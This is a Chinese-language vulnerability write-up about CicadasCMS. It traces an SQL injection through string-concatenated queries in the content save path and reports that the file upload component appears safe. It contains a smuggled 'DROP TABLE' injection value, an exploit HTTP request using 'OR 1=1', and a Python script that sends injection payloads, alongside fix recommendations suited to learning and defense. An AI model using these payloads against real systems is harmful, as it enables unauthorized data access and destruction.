某开源cms 0day挖掘
字数 1103 2025-08-30 06:50:36

CicadasCMS 0day漏洞分析与利用教学

系统概述

CicadasCMS是一款基于SpringBoot+MyBatis+Beetl开发的内容管理系统,支持自定义内容模型、模板标签和全站静态化等功能。

漏洞1:SQL注入漏洞

漏洞位置

com.zhiliao.module.web.cms.ContentController#save方法

漏洞分析

  1. 漏洞触发路径

    • ContentController.save()ContentService.update()ContentServiceImpl.SaveModelFiledParam()
  2. 关键代码分析

    • SaveModelFiledParam方法中直接拼接SQL语句,未使用预编译:
      String selectSql = "select * from t_cms_content_"+tableName+" where content_id="+content.getContentId();
      ResultSet resultSet =statement.executeQuery(selectSql);
      
  3. 注入点

    • tableName参数和content.getContentId()未经过滤直接拼接到SQL语句中
    • 后续的UPDATE/INSERT语句同样存在拼接问题
  4. 利用条件

    • 需要具有content:save权限
    • 需要知道或能够控制tableName参数

漏洞利用步骤

  1. 构造恶意请求,控制tableNamecontentId参数
  2. 通过参数注入SQL语句,如:
    tableName = "test; DROP TABLE t_cms_content_test; --"
    
  3. 发送请求触发漏洞

修复建议

  1. 使用预编译语句(PreparedStatement)
  2. 对输入参数进行严格过滤和校验
  3. 使用ORM框架的命名参数或位置参数绑定

漏洞2:文件上传漏洞(分析失败)

漏洞位置

com.zhiliao.common.upload.UploadComponent#uploadFile

安全机制分析

  1. 文件名处理流程

    • getFileType()getFileName()getNewFileName()
    • 最终文件名由系统生成,不可控
  2. 文件类型限制

    • 使用lastIndexOf获取文件扩展名
    • 扩展名无法被篡改
  3. 存储路径

    • 路径由系统生成,不包含用户可控部分

结论

该文件上传功能实现较为安全,未发现可利用的漏洞点。

学习价值

  1. 适合新手学习

    • 代码结构清晰
    • 漏洞原理简单明了
    • 典型的安全编码错误示例
  2. 学习要点

    • SQL注入的原理和实际案例
    • 文件上传的安全实现方式
    • Spring MVC的安全编码实践

完整漏洞利用示例

SQL注入利用代码示例

POST /cms/content/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

categoryId=1&contentId=1 OR 1=1 -- &title=test&...[其他必填字段]

自动化检测脚本思路

import requests

def check_sql_injection(url):
    payloads = [
        "1 AND 1=1",
        "1 AND 1=2",
        "1' OR '1'='1",
        "1\" OR \"1\"=\"1"
    ]
    
    for payload in payloads:
        data = {
            "categoryId": 1,
            "contentId": payload,
            "title": "test",
            # 其他必填字段
        }
        try:
            r = requests.post(url + "/cms/content/save", data=data)
            if "操作成功" in r.text:
                return True
        except:
            pass
    return False

总结

  1. 漏洞危害

    • SQL注入可导致数据泄露、篡改甚至服务器沦陷
  2. 防御措施

    • 使用预编译语句
    • 实施最小权限原则
    • 输入验证和过滤
    • 定期安全审计
  3. 学习建议

    • 通过此案例理解SQL注入的原理
    • 对比学习安全的文件上传实现
    • 实践漏洞修复方案
CicadasCMS 0day漏洞分析与利用教学 系统概述 CicadasCMS是一款基于SpringBoot+MyBatis+Beetl开发的内容管理系统,支持自定义内容模型、模板标签和全站静态化等功能。 漏洞1:SQL注入漏洞 漏洞位置 com.zhiliao.module.web.cms.ContentController#save 方法 漏洞分析 漏洞触发路径 : ContentController.save() → ContentService.update() → ContentServiceImpl.SaveModelFiledParam() 关键代码分析 : SaveModelFiledParam 方法中直接拼接SQL语句,未使用预编译: 注入点 : tableName 参数和 content.getContentId() 未经过滤直接拼接到SQL语句中 后续的UPDATE/INSERT语句同样存在拼接问题 利用条件 : 需要具有 content:save 权限 需要知道或能够控制 tableName 参数 漏洞利用步骤 构造恶意请求,控制 tableName 或 contentId 参数 通过参数注入SQL语句,如: 发送请求触发漏洞 修复建议 使用预编译语句(PreparedStatement) 对输入参数进行严格过滤和校验 使用ORM框架的命名参数或位置参数绑定 漏洞2:文件上传漏洞(分析失败) 漏洞位置 com.zhiliao.common.upload.UploadComponent#uploadFile 安全机制分析 文件名处理流程 : getFileType() → getFileName() → getNewFileName() 最终文件名由系统生成,不可控 文件类型限制 : 使用 lastIndexOf 获取文件扩展名 扩展名无法被篡改 存储路径 : 路径由系统生成,不包含用户可控部分 结论 该文件上传功能实现较为安全,未发现可利用的漏洞点。 学习价值 适合新手学习 : 代码结构清晰 漏洞原理简单明了 典型的安全编码错误示例 学习要点 : SQL注入的原理和实际案例 文件上传的安全实现方式 Spring MVC的安全编码实践 完整漏洞利用示例 SQL注入利用代码示例 自动化检测脚本思路 总结 漏洞危害 : SQL注入可导致数据泄露、篡改甚至服务器沦陷 防御措施 : 使用预编译语句 实施最小权限原则 输入验证和过滤 定期安全审计 学习建议 : 通过此案例理解SQL注入的原理 对比学习安全的文件上传实现 实践漏洞修复方案